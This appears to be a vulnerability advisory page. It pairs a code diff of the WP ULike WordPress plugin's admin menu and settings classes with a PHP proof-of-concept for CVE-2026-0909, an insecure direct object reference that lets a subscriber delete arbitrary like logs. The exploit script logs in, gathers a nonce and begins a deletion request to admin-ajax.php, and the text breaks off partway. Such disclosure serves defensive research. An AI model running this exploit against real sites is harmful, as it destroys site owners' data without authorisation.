+					'nonce'     => wp_create_nonce( WP_ULIKE_SLUG ),
+					'title'     => WP_ULIKE_NAME,
+					'logo'      => WP_ULIKE_ASSETS_URL . '/img/wp-ulike-logo.svg',
+					'slug'      => WP_ULIKE_SLUG,
+					'loaderSvg' => '<svg width="386" height="204" viewBox="0 0 386 204" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M368.646 20.3446C345.509 -2.76261 308.086 -2.76261 285.149 20.3446L261.609 43.8543L282.735 64.9524L305.671 41.8451C311.104 36.4198 318.347 33.2045 325.993 32.8027C334.242 32.6018 342.289 35.817 347.923 41.8451C358.989 53.6998 358.587 71.985 346.917 83.2376L331.827 98.3075C324.785 105.34 313.518 105.34 306.476 98.3075C292.794 84.644 228.008 19.9428 228.008 19.9428C216.943 8.89117 202.054 2.66214 186.159 2.66214C170.465 2.66214 155.577 8.89117 144.31 19.9428C139.682 24.5645 135.658 29.9898 132.842 36.0179L131.634 38.6299L155.979 62.9432L157.589 55.5087C161.009 39.6345 176.501 29.588 192.396 33.0036C198.03 34.2091 203.06 36.8216 207.084 40.8399L297.623 131.261L256.177 172.654L195.414 112.172C194.207 110.967 189.177 105.742 163.021 79.4196L100.851 17.3309C77.713 -5.77696 40.2899 -5.77696 17.3535 17.3309C-5.78451 40.4381 -5.78451 77.8122 17.3535 100.719L110.106 193.35C115.136 198.374 121.977 201.187 129.019 201.187C136.262 201.187 142.901 198.374 148.133 193.35L186.763 154.771L165.637 133.673L129.22 170.041L38.6804 79.6205C27.4131 67.9667 27.8155 49.4806 39.4852 38.228C50.7524 27.3773 68.6593 27.3773 79.926 38.228L141.292 99.5131C142.298 100.719 143.505 102.126 144.712 103.331L237.264 195.761C242.294 200.986 249.135 204 256.579 204C256.78 204 256.981 204 256.981 204C264.224 204 270.864 201.187 276.095 196.164L368.646 103.733C391.785 80.8266 391.785 43.2515 368.646 20.3446Z" fill="#FF6D6F"/> </svg>',
+					'actions' => array(
+						'schema'            => 'wp_ulike_schema_api',
+						'settings'          => 'wp_ulike_settings_api',
+						'save'              => 'wp_ulike_save_settings_api',
+						'customizerSchema'  => 'wp_ulike_customizer_schema_api',
+						'customizerValues'  => 'wp_ulike_customizer_values_api',
+						'customizerSave'    => 'wp_ulike_save_customizer_api',
+						'customizerPreview' => 'wp_ulike_customizer_preview_api'
+					),
+					'translations' => $translations
+				));
+			}
+		}

 	}

--- a/wp-ulike/admin/classes/class-wp-ulike-admin-pages.php
+++ b/wp-ulike/admin/classes/class-wp-ulike-admin-pages.php
@@ -1,125 +1,340 @@
 <?php
 /**
- * Wp ULike Admin Pages Class.
- *
- * @package    wp-ulike
- * @author     TechnoWich 2025
- * @link       https://wpulike.com
-*/
-
-// no direct access allowed
-if ( ! defined('ABSPATH') ) {
-    die();
+ * WP ULike Admin Pages Class.
+ *
+ * Handles registration of admin menus and submenus for WP ULike plugin.
+ *
+ * @package WP_ULike
+ * @since 4.6.0
+ */
+
+// No direct access allowed.
+if ( ! defined( 'ABSPATH' ) ) {
+	die();
 }

 if ( ! class_exists( 'wp_ulike_admin_pages' ) ) {
 	/**
-	 *  Class to register admin menus
+	 * Class to register admin menus and submenus.
+	 *
+	 * @since 4.6.0
 	 */
 	class wp_ulike_admin_pages {

-		private $submenus, $views;
+		/**
+		 * Menu position constant.
+		 *
+		 * @since 4.6.0
+		 * @var int
+		 */
+		const MENU_POSITION = 90;

 		/**
-		 * __construct
+		 * Submenus array.
+		 *
+		 * @since 4.6.0
+		 * @var array
 		 */
-		function __construct() {
+		private $submenus = array();
+
+		/**
+		 * Views array mapping hook suffixes to template paths.
+		 *
+		 * @since 4.6.0
+		 * @var array
+		 */
+		private $views = array();
+
+		/**
+		 * Constructor.
+		 *
+		 * @since 4.6.0
+		 */
+		public function __construct() {
+			add_action( 'admin_menu', array( $this, 'menus' ) );
+		}

-			$this->submenus = apply_filters( 'wp_ulike_admin_pages', array(
-				'statistics'      => array(
+		/**
+		 * Register admin menus and submenus.
+		 *
+		 * @since 4.6.0
+		 * @return void
+		 */
+		public function menus() {
+			// Apply filter to get submenus - moved here so filters registered in admin-hooks.php are available.
+			$this->submenus = apply_filters(
+				'wp_ulike_admin_pages',
+				$this->get_default_submenus()
+			);
+
+			// Register parent menu.
+			$parent_hook = $this->register_parent_menu();
+
+			// Register settings submenu.
+			$this->register_settings_submenu( $parent_hook );
+
+			// Register filtered submenus.
+			$this->register_submenus();
+
+			// Add menu badge if needed.
+			$this->menu_badge();
+		}
+
+		/**
+		 * Get default submenus configuration.
+		 *
+		 * @since 4.6.0
+		 * @return array Default submenus array.
+		 */
+		private function get_default_submenus() {
+			return array(
+				'customize'  => array(
+					'title'       => esc_html__( 'Customize', 'wp-ulike' ),
+					'parent_slug' => 'wp-ulike-settings',
+					'capability'  => 'manage_options', // Same as settings, requires manage_options.
+					'path'        => WP_ULIKE_ADMIN_DIR . '/includes/templates/optiwich.php',
+					'menu_slug'   => 'wp-ulike-customize',
+				),
+				'statistics' => array(
 					'title'       => esc_html__( 'Statistics', 'wp-ulike' ),
 					'parent_slug' => 'wp-ulike-settings',
-					'capability'  => wp_ulike_get_user_access_capability('stats'),
+					'capability'  => 'stats', // Store capability type, will be resolved in register_submenus().
 					'path'        => WP_ULIKE_ADMIN_DIR . '/includes/templates/statistics.php',
 					'menu_slug'   => 'wp-ulike-statistics',
-					'load_screen' => false
 				),
-				'about'           => array(
-					'title'       => sprintf( '<span class="wp-ulike-menu-icon"><span class="dashicons dashicons-info"></span> %s</span>', esc_html__( 'About', 'wp-ulike' ) ),
+				'about'      => array(
+					'title'       => sprintf(
+						'<span class="wp-ulike-menu-icon"><span class="dashicons dashicons-info"></span> %s</span>',
+						esc_html__( 'About', 'wp-ulike' )
+					),
 					'parent_slug' => 'wp-ulike-settings',
-					'capability'  => wp_ulike_get_user_access_capability('stats'),
+					'capability'  => '', // Empty means always visible, no capability check needed.
 					'path'        => WP_ULIKE_ADMIN_DIR . '/includes/templates/about.php',
 					'menu_slug'   => 'wp-ulike-about',
-					'load_screen' => false
-				)
-			) );
+				),
+			);
+		}
+
+		/**
+		 * Register parent menu page.
+		 *
+		 * @since 4.6.0
+		 * @return string|false The resulting page's hook_suffix, or false on failure.
+		 */
+		private function register_parent_menu() {
+			$capability = $this->get_menu_capability( 'stats' );
+			$page_title = apply_filters( 'wp_ulike_plugin_name', esc_html__( 'WP ULike', 'wp-ulike' ) );
+			$menu_title = apply_filters( 'wp_ulike_plugin_name', esc_html__( 'WP ULike', 'wp-ulike' ) );
+			$menu_icon  = 'data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48c3ZnIHZlcnNpb249IjEuMSIgaWQ9IkxheWVyXzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHg9IjBweCIgeT0iMHB4IiB2aWV3Qm94PSIwIDAgMjUgMjUiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDI1IDI1OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHBhdGggY2xhc3M9InN0MCIgZD0iTTIzLjksNy4xTDIzLjksNy4xYy0xLjUtMS41LTMuOS0xLjUtNS40LDBsLTEuNSwxLjVsMS40LDEuNGwxLjUtMS41YzAuNC0wLjQsMC44LTAuNiwxLjMtMC42YzAuNSwwLDEuMSwwLjIsMS40LDAuNmMwLjcsMC44LDAuNywyLTAuMSwyLjdsLTEsMWMtMC41LDAuNS0xLjIsMC41LTEuNiwwYy0wLjktMC45LTUuMS01LjEtNS4xLTUuMWMtMC43LTAuNy0xLjctMS4xLTIuNy0xLjFsMCwwYy0xLDAtMiwwLjQtMi43LDEuMUM5LDcuNCw4LjgsNy43LDguNiw4LjFMOC41LDguM2wxLjYsMS42bDAuMS0wLjVjMC4yLTEsMS4yLTEuNywyLjMtMS41YzAuNCwwLjEsMC43LDAuMiwxLDAuNWw1LjksNS45TDE2LjYsMTdMMTIuNywxM2wwLDBjLTAuMS0wLjEtMC40LTAuNC0yLjEtMi4xbC00LTRDNSw1LjQsMi42LDUuNCwxLjEsNi45Yy0xLjUsMS41LTEuNSwzLjksMCw1LjRsNiw2YzAuMywwLjMsMC44LDAuNSwxLjIsMC41bDAsMGMwLjUsMCwwLjktMC4yLDEuMi0wLjVsMi41LTIuNWwtMS40LTEuNGwtMi40LDIuNGwtNS45LTUuOWMtMC43LTAuOC0wLjctMiwwLjEtMi43YzAuNy0wLjcsMS45LTAuNywyLjYsMGw0LDRjMC4xLDAuMSwwLjEsMC4yLDAuMiwwLjJsNiw2YzAuMywwLjMsMC44LDAuNSwxLjMsMC41YzAsMCwwLDAsMCwwYzAuNSwwLDAuOS0wLjIsMS4yLTAuNWw2LTZDMjUuNCwxMSwyNS40LDguNiwyMy45LDcuMXoiLz48L3N2Zz4=';
+
+			$parent_hook = add_menu_page(
+				$page_title,
+				$menu_title,
+				$capability,
+				'wp-ulike-settings',
+				array( $this, 'load_template' ),
+				$menu_icon,
+				self::MENU_POSITION
+			);

-			add_action( 'wp_ulike_settings_loaded', function(){
-				add_action( 'admin_menu', array( $this, 'menus' ) );
-			} );
+			// Store parent menu template path.
+			if ( $parent_hook ) {
+				$this->views[ $parent_hook ] = WP_ULIKE_ADMIN_DIR . '/includes/templates/optiwich.php';
+			}

+			return $parent_hook;
 		}

 		/**
-		 * register admin menus
+		 * Register settings submenu page.
 		 *
+		 * Settings panel requires manage_options capability for security.
+		 *
+		 * @since 4.6.0
+		 * @param string|false $parent_hook Parent menu hook suffix.
 		 * @return void
 		 */
-		public function menus() {
+		private function register_settings_submenu( $parent_hook ) {
+			if ( ! $parent_hook ) {
+				return;
+			}

-			// Register submenus
-			foreach ( $this->submenus as $key => $args) {
-				// Extract variables explicitly per WordPress coding standards
-				$parent_slug = isset( $args['parent_slug'] ) ? $args['parent_slug'] : '';
-				$title = isset( $args['title'] ) ? $args['title'] : '';
-				$menu_slug = isset( $args['menu_slug'] ) ? $args['menu_slug'] : '';
-				$capability = isset( $args['capability'] ) ? $args['capability'] : 'manage_options';
-				$load_screen = isset( $args['load_screen'] ) ? $args['load_screen'] : false;
-				$path = isset( $args['path'] ) ? $args['path'] : '';
-
-				$hook_suffix = add_submenu_page(
-					$parent_slug,
-					$title,
-					apply_filters( 'wp_ulike_admin_sub_menu_title', $title, $menu_slug ),
-					$capability,
-					$menu_slug,
-					array( &$this, 'load_template' )
-				);
+			// Settings panel requires manage_options capability for security.
+			$capability = 'manage_options';

-				$this->views[ $hook_suffix ] = $path;
+			// Replace auto-generated first submenu with our own to avoid duplicate.
+			$settings_submenu_hook = add_submenu_page(
+				'wp-ulike-settings',
+				esc_html__( 'WP ULike Settings', 'wp-ulike' ),
+				esc_html__( 'Settings', 'wp-ulike' ),
+				$capability,
+				'wp-ulike-settings',
+				array( $this, 'load_template' )
+			);

-				if( $load_screen ) {
-					add_action( "load-$hook_suffix", array( $this, 'add_screen_option' ) );
-				}
+			// Store settings submenu template path (same as parent).
+			if ( $settings_submenu_hook ) {
+				$this->views[ $settings_submenu_hook ] = WP_ULIKE_ADMIN_DIR . '/includes/templates/optiwich.php';
 			}
-
-			$this->menu_badge();
 		}

 		/**
-		 * Add custom badges to a menu name
+		 * Register filtered submenus.
 		 *
+		 * @since 4.6.0
 		 * @return void
 		 */
-		public function menu_badge(){
-			global $menu;
+		private function register_submenus() {
+			foreach ( $this->submenus as $key => $args ) {
+				$this->register_single_submenu( $args );
+			}
+		}
+
+		/**
+		 * Register a single submenu page.
+		 *
+		 * @since 4.6.0
+		 * @param array $args Submenu arguments.
+		 * @return string|false The resulting page's hook_suffix, or false on failure.
+		 */
+		private function register_single_submenu( $args ) {
+			// Extract variables explicitly per WordPress coding standards.
+			$parent_slug = isset( $args['parent_slug'] ) ? $args['parent_slug'] : '';
+			$title       = isset( $args['title'] ) ? $args['title'] : '';
+			$menu_slug   = isset( $args['menu_slug'] ) ? $args['menu_slug'] : '';
+			$path        = isset( $args['path'] ) ? $args['path'] : '';
+
+			// Resolve capability.
+			$capability = $this->resolve_capability( $args );
+
+			// Validate required arguments.
+			if ( empty( $parent_slug ) || empty( $menu_slug ) ) {
+				return false;
+			}
+
+			$hook_suffix = add_submenu_page(
+				$parent_slug,
+				$title,
+				apply_filters( 'wp_ulike_admin_sub_menu_title', $title, $menu_slug ),
+				$capability,
+				$menu_slug,
+				array( $this, 'load_template' )
+			);
+
+			// Store template path.
+			if ( $hook_suffix && ! empty( $path ) ) {
+				$this->views[ $hook_suffix ] = $path;
+			}
+
+			return $hook_suffix;
+		}
+
+		/**
+		 * Resolve capability from arguments.
+		 *
+		 * Only resolves custom capability types we recognize (like 'stats', 'logs').
+		 * Empty string means always visible (no capability check).
+		 * Otherwise uses the capability as-is.
+		 *
+		 * @since 4.6.0
+		 * @param array $args Menu arguments.
+		 * @return string Resolved capability.
+		 */
+		private function resolve_capability( $args ) {
+			$capability_arg = isset( $args['capability'] ) ? $args['capability'] : 'manage_options';
+
+			// Empty capability means always visible.
+			if ( empty( $capability_arg ) ) {
+				return 'read'; // Use 'read' capability which all logged-in users have.
+			}
+
+			// Recognized custom capability types that should use wp_ulike_get_user_access_capability.
+			$recognized_types = array( 'stats', 'logs' );
+
+			// If it's a recognized capability type, resolve it using our method.
+			if ( is_string( $capability_arg ) && in_array( $capability_arg, $recognized_types, true ) && function_exists( 'wp_ulike_get_user_access_capability' ) ) {
+				return wp_ulike_get_user_access_capability( $capability_arg );
+			}

-			if( 0 !== ( $badge_count = apply_filters( 'wp_ulike_menu_badge_count', 0 ) ) ) {
-				$menu[313][0] .= wp_ulike_badge_count_format( $badge_count );
+			// Otherwise use the capability as-is (like 'manage_options').
+			return $capability_arg;
+		}
+
+		/**
+		 * Get menu capability.
+		 *
+		 * Resolves capability based on type using wp_ulike_get_user_access_capability.
+		 * Only for recognized custom types like 'stats'.
+		 *
+		 * @since 4.6.0
+		 * @param string $capability_type Capability type ('stats', 'logs', etc.).
+		 * @return string Resolved capability string for WordPress menu system.
+		 */
+		private function get_menu_capability( $capability_type ) {
+			// Recognized custom capability types.
+			$recognized_types = array( 'stats', 'logs' );
+
+			if ( in_array( $capability_type, $recognized_types, true ) && function_exists( 'wp_ulike_get_user_access_capability' ) ) {
+				$capability = wp_ulike_get_user_access_capability( $capability_type );
+				// Ensure we always return a valid capability string.
+				if ( ! empty( $capability ) && is_string( $capability ) ) {
+					return $capability;
+				}
 			}
+
+			// Fallback to manage_options for security (requires administrator role).
+			return 'manage_options';
 		}

 		/**
-		 * Add screen options
+		 * Add custom badges to a menu name.
+		 *
+		 * Finds the menu item by menu slug instead of position number for better reliability.
 		 *
+		 * @since 4.6.0
 		 * @return void
 		 */
-		public function add_screen_option(){
-			add_screen_option( 'per_page', array(
-					'label'   => esc_html__('Logs','wp-ulike'),
-					'default' => 30,
-					'option'  => 'wp_ulike_logs_per_page'
-				)
-			);
+		public function menu_badge() {
+			global $menu;
+
+			if ( ! isset( $menu ) || ! is_array( $menu ) || ! function_exists( 'wp_ulike_badge_count_format' ) ) {
+				return;
+			}
+
+			$badge_count = apply_filters( 'wp_ulike_menu_badge_count', 0 );
+
+			if ( 0 === $badge_count ) {
+				return;
+			}
+
+			// Find menu item by slug instead of position number.
+			foreach ( $menu as $key => $menu_item ) {
+				if ( isset( $menu_item[2] ) && 'wp-ulike-settings' === $menu_item[2] ) {
+					$menu[ $key ][0] .= wp_ulike_badge_count_format( $badge_count );
+					break;
+				}
+			}
 		}

 		/**
-		 * Load admin templates
+		 * Load admin templates.
 		 *
+		 * @since 4.6.0
 		 * @return void
 		 */
-		public function load_template(){
-			load_template( $this->views[ current_filter() ] );
+		public function load_template() {
+			$current_filter = current_filter();
+
+			if ( empty( $current_filter ) || ! isset( $this->views[ $current_filter ] ) ) {
+				return;
+			}
+
+			$template_path = $this->views[ $current_filter ];
+
+			// Validate template file exists.
+			if ( ! empty( $template_path ) && file_exists( $template_path ) ) {
+				load_template( $template_path );
+			}
 		}

 	}
--- a/wp-ulike/admin/classes/class-wp-ulike-admin-panel.php
+++ b/wp-ulike/admin/classes/class-wp-ulike-admin-panel.php
@@ -3,7 +3,7 @@
  * Wp ULike Admin Panel
  *
  * @package    wp-ulike
- * @author     TechnoWich 2025
+ * @author     TechnoWich 2026
  * @link       https://wpulike.com
 */

@@ -16,94 +16,46 @@
     class wp_ulike_admin_panel{

         protected $option_domain = 'wp_ulike_settings';
+        protected $sections_cache = null;

 		/**
 		 * __construct
 		 */
 		function __construct() {
-            add_action( 'ulf_loaded', array( $this, 'register_panel' ) );
-            add_action( 'wp_ulike_settings_loaded', array( $this, 'register_sections' ) );
-            add_action( 'wp_ulike_settings_loaded', array( $this, 'register_pages' ) );
-
-            add_action( 'ulf_'.$this->option_domain.'_saved', array( $this, 'options_saved' ) );
-        }
-
-        public function options_saved(){
-            // Update custom css
-            wp_ulike_save_custom_css();
-        }
-
-        /**
-         * Register setting panel
-         *
-         * @return void
-         */
-        public function register_panel(){
-            // Create options
-            ULF::createOptions( $this->option_domain, array(
-                'framework_title'    => apply_filters( 'wp_ulike_plugin_name', esc_html__( 'WP ULike', 'wp-ulike' ) ),
-                'menu_title'         => apply_filters( 'wp_ulike_plugin_name', esc_html__( 'WP ULike', 'wp-ulike' ) ),
-                'sub_menu_title'     => esc_html__( 'Settings', 'wp-ulike' ),
-                'menu_slug'          => 'wp-ulike-settings',
-                'menu_capability'    => 'manage_options',
-                'menu_icon'          => 'data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48c3ZnIHZlcnNpb249IjEuMSIgaWQ9IkxheWVyXzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHg9IjBweCIgeT0iMHB4IiB2aWV3Qm94PSIwIDAgMjUgMjUiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDI1IDI1OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHBhdGggY2xhc3M9InN0MCIgZD0iTTIzLjksNy4xTDIzLjksNy4xYy0xLjUtMS41LTMuOS0xLjUtNS40LDBsLTEuNSwxLjVsMS40LDEuNGwxLjUtMS41YzAuNC0wLjQsMC44LTAuNiwxLjMtMC42YzAuNSwwLDEuMSwwLjIsMS40LDAuNmMwLjcsMC44LDAuNywyLTAuMSwyLjdsLTEsMWMtMC41LDAuNS0xLjIsMC41LTEuNiwwYy0wLjktMC45LTUuMS01LjEtNS4xLTUuMWMtMC43LTAuNy0xLjctMS4xLTIuNy0xLjFsMCwwYy0xLDAtMiwwLjQtMi43LDEuMUM5LDcuNCw4LjgsNy43LDguNiw4LjFMOC41LDguM2wxLjYsMS42bDAuMS0wLjVjMC4yLTEsMS4yLTEuNywyLjMtMS41YzAuNCwwLjEsMC43LDAuMiwxLDAuNWw1LjksNS45TDE2LjYsMTdMMTIuNywxM2wwLDBjLTAuMS0wLjEtMC40LTAuNC0yLjEtMi4xbC00LTRDNSw1LjQsMi42LDUuNCwxLjEsNi45Yy0xLjUsMS41LTEuNSwzLjksMCw1LjRsNiw2YzAuMywwLjMsMC44LDAuNSwxLjIsMC41bDAsMGMwLjUsMCwwLjktMC4yLDEuMi0wLjVsMi41LTIuNWwtMS40LTEuNGwtMi40LDIuNGwtNS45LTUuOWMtMC43LTAuOC0wLjctMiwwLjEtMi43YzAuNy0wLjcsMS45LTAuNywyLjYsMGw0LDRjMC4xLDAuMSwwLjEsMC4yLDAuMiwwLjJsNiw2YzAuMywwLjMsMC44LDAuNSwxLjMsMC41YzAsMCwwLDAsMCwwYzAuNSwwLDAuOS0wLjIsMS4yLTAuNWw2LTZDMjUuNCwxMSwyNS40LDguNiwyMy45LDcuMXoiLz48L3N2Zz4=',
-                'menu_position'      => 313,
-                'show_bar_menu'      => false,
-                'show_sub_menu'      => true,
-                'show_search'        => true,
-                'show_reset_all'     => true,
-                'show_reset_section' => true,
-                'show_footer'        => true,
-                'show_all_options'   => true,
-                'show_form_warning'  => true,
-                'sticky_header'      => true,
-                'save_defaults'      => true,
-                'ajax_save'          => true,
-                'footer_after'       => '',
-                'footer_text'        => sprintf(
-                    '<a href="%s" title="Documents" target="_blank">%s</a>',
-                    'https://docs.wpulike.com/category/8-settings/',
-                    esc_html__( 'Explore Settings', 'wp-ulike' )
-                ),
-                'enqueue_webfont'    => true,
-                'async_webfont'      => false,
-                'output_css'         => true,
-                'theme'              => 'light wp-ulike-settings-panel'
-            ) );
-
-            do_action( 'wp_ulike_settings_loaded' );
-        }
-
-        /**
-         * Register admin page
-         *
-         * @return void
-         */
-        public function register_pages(){
-            new wp_ulike_admin_pages();
+            // No framework dependencies - just initialize
         }

         /**
          * Register setting sections
+         * Returns array structure for API consumption
          *
-         * @return void
+         * @return array Sections structure
          */
         public function register_sections(){
+            // Return cached sections if available
+            if ( $this->sections_cache !== null ) {
+                return $this->sections_cache;
+            }

             do_action( 'wp_ulike_panel_sections_started' );

+            $sections = array();
+
             /**
              * Configuration Section
              */
-            ULF::createSection( $this->option_domain, array(
+            $sections[] = array(
                 'id'    => 'configuration',
                 'title' => esc_html__( 'Configuration','wp-ulike'),
-                'icon'  => 'fa fa-home',
-            ) );
+                'icon'  => 'cog-6-tooth',
+            );
+
             // General
-            ULF::createSection( $this->option_domain, array(
+            $sections[] = array(
+                'id'     => 'general',
                 'parent' => 'configuration',
                 'title'  => esc_html__( 'General','wp-ulike'),
+                'icon'   => 'adjustments-horizontal',
                 'fields' => apply_filters( 'wp_ulike_panel_general', array(
                     array(
                         'id'      => 'enable_kilobyte_format',
@@ -255,7 +207,7 @@
                         'dependency' => array( 'blacklist_integration', 'any', 'default' )
                     )
                 ) )
-            ) );
+            );

             // Get all content options
             $get_content_options = apply_filters( 'wp_ulike_panel_content_options', $this->get_content_options() );
@@ -285,160 +237,143 @@
                 'desc'       => esc_html__('Add a likes counter column to the admin list.', 'wp-ulike')
             );

-            // Generate buddypress fields
-            $get_content_fields['buddypress'] = $get_content_options;
-            unset( $get_content_fields['buddypress']['auto_display_filter'] );
-            unset( $get_content_fields['buddypress']['auto_display_filter_post_types'] );
-            $get_content_fields['buddypress']['auto_display_position']['options'] = array(
-                'content' => esc_html__('Activity Content', 'wp-ulike'),
-                'meta'    => esc_html__('Activity Meta', 'wp-ulike')
-            );
-            $get_content_fields['buddypress']['auto_display_position']['default'] = 'content';
-            $get_content_fields['buddypress']['enable_comments'] = array(
-                'id'         => 'enable_comments',
-                'type'       => 'switcher',
-                'title'      => esc_html__('Enable Activity Comment Likes', 'wp-ulike'),
-                'desc'       => esc_html__('Allow liking BuddyPress comments in the activity stream.', 'wp-ulike')
-            );
-            $get_content_fields['buddypress']['enable_add_bp_activity'] = array(
-                'id'         => 'enable_add_bp_activity',
-                'type'       => 'switcher',
-                'title'      => esc_html__('Add Activity Entries for Likes', 'wp-ulike'),
-                'desc'       => esc_html__('Create a BuddyPress activity item when someone likes content.', 'wp-ulike'),
-            );
-            $get_content_fields['buddypress']['posts_notification_template'] = array(
-                'id'       => 'posts_notification_template',
-                'type'     => 'code_editor',
-                'settings' => array(
-                    'theme' => 'shadowfox',
-                    'mode'  => 'htmlmixed',
-                ),
-                'default'  => '<strong>%POST_LIKER%</strong> liked <a href="%POST_PERMALINK%" title="%POST_TITLE%">%POST_TITLE%</a>. (So far, This post has <span class="badge">%POST_COUNT%</span> likes)',
-                'title'    => esc_html__('Post Activity Text', 'wp-ulike'),
-                'desc'     => esc_html__('Allowed Variables:', 'wp-ulike') . ' <code>%POST_LIKER%</code> , <code>%POST_PERMALINK%</code> , <code>%POST_COUNT%</code> , <code>%POST_TITLE%</code>',
-                'dependency'=> array( 'enable_add_bp_activity', '==', 'true' ),
-            );
-            $get_content_fields['buddypress']['comments_notification_template'] = array(
-                'id'       => 'comments_notification_template',
-                'type'     => 'code_editor',
-                'settings' => array(
-                    'theme' => 'shadowfox',
-                    'mode'  => 'htmlmixed',
-                ),
-                'default'  => '<strong>%COMMENT_LIKER%</strong> liked <strong>%COMMENT_AUTHOR%</strong> comment. (So far, %COMMENT_AUTHOR% has <span class="badge">%COMMENT_COUNT%</span> likes for this comment)',
-                'title'    => esc_html__('Comment Activity Text', 'wp-ulike'),
-                'desc'     => esc_html__('Allowed Variables:', 'wp-ulike') . ' <code>%COMMENT_LIKER%</code> , <code>%COMMENT_AUTHOR%</code> , <code>%COMMENT_COUNT%</code>, <code>%COMMENT_PERMALINK%</code>',
-                'dependency'=> array( 'enable_add_bp_activity', '==', 'true' ),
-            );
-            $get_content_fields['buddypress']['enable_add_notification'] = array(
-                'id'         => 'enable_add_notification',
-                'type'       => 'switcher',
-                'title'      => esc_html__('Enable User Notifications', 'wp-ulike'),
-                'desc'       => esc_html__('Send a notification when your content receives a like.', 'wp-ulike'),
-            );
-            $get_content_fields['buddypress']['filter_user_notification_types'] = array(
-                'id'          => 'filter_user_notification_types',
-                'type'        => 'select',
-                        'title'       => esc_html__( 'Disable Notifications On','wp-ulike' ),
-                'desc'        => esc_html__('Choose where notifications are disabled.', 'wp-ulike'),
-                'chosen'      => true,
-                'multiple'    => true,
-                'options'     => array(
-                    'post'     => esc_html__('Posts', 'wp-ulike'),
-                    'comment'  => esc_html__('Comments', 'wp-ulike'),
-                    'activity' => esc_html__('Activities', 'wp-ulike'),
-                    'topic'    => esc_html__('Topics', 'wp-ulike')
-                ),
-                'dependency'=> array( 'enable_add_notification', '==', 'true' ),
-            );
-            $buddypress_options = array( array(
-                'type'    => 'content',
-                'content' => sprintf( '<strong>%s</strong> %s', esc_html__( 'BuddyPress', 'wp-ulike' ), esc_html__( 'plugin is not installed or activated', 'wp-ulike' ) ),
-            ) );
-            if( function_exists('is_buddypress') ){
+            // Generate buddypress fields (only if plugin is active)
+            $buddypress_options = array();
+            if ( function_exists('is_buddypress') ) {
+                $get_content_fields['buddypress'] = $get_content_options;
+                unset( $get_content_fields['buddypress']['auto_display_filter'] );
+                unset( $get_content_fields['buddypress']['auto_display_filter_post_types'] );
+                $get_content_fields['buddypress']['auto_display_position']['options'] = array(
+                    'content' => esc_html__('Activity Content', 'wp-ulike'),
+                    'meta'    => esc_html__('Activity Meta', 'wp-ulike')
+                );
+                $get_content_fields['buddypress']['auto_display_position']['default'] = 'content';
+                $get_content_fields['buddypress']['enable_comments'] = array(
+                    'id'         => 'enable_comments',
+                    'type'       => 'switcher',
+          

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0909 - WP ULike <= 4.8.3.1 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Log Deletion via 'id' Parameter

<?php
/**
 * Proof of Concept for CVE-2026-0909
 * Requires: Valid WordPress subscriber account with 'stats' capability
 * Target: WP ULike plugin <= 4.8.3.1
 */

$target_url = 'https://vulnerable-site.com';
$username = 'attacker_subscriber';
$password = 'attacker_password';
$target_log_id = 123; // ID of log entry to delete

// Initialize cURL session
$ch = curl_init();

// Step 1: Authenticate to WordPress and obtain session cookies
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);

// Step 2: Visit admin page to obtain nonce (nonce is typically available in admin pages)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=wp-ulike-statistics');
curl_setopt($ch, CURLOPT_POST, false);

$response = curl_exec($ch);

// Extract nonce from response (simplified - actual implementation would parse HTML)
// Nonce is typically in a form or JavaScript variable like 'wp_ulike_stats_nonce'
// For this PoC, we assume the attacker has obtained a valid nonce
$nonce = 'EXTRACTED_NONCE_VALUE'; // Replace with actual extracted nonce

// Step 3: Exploit IDOR vulnerability to delete arbitrary log
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
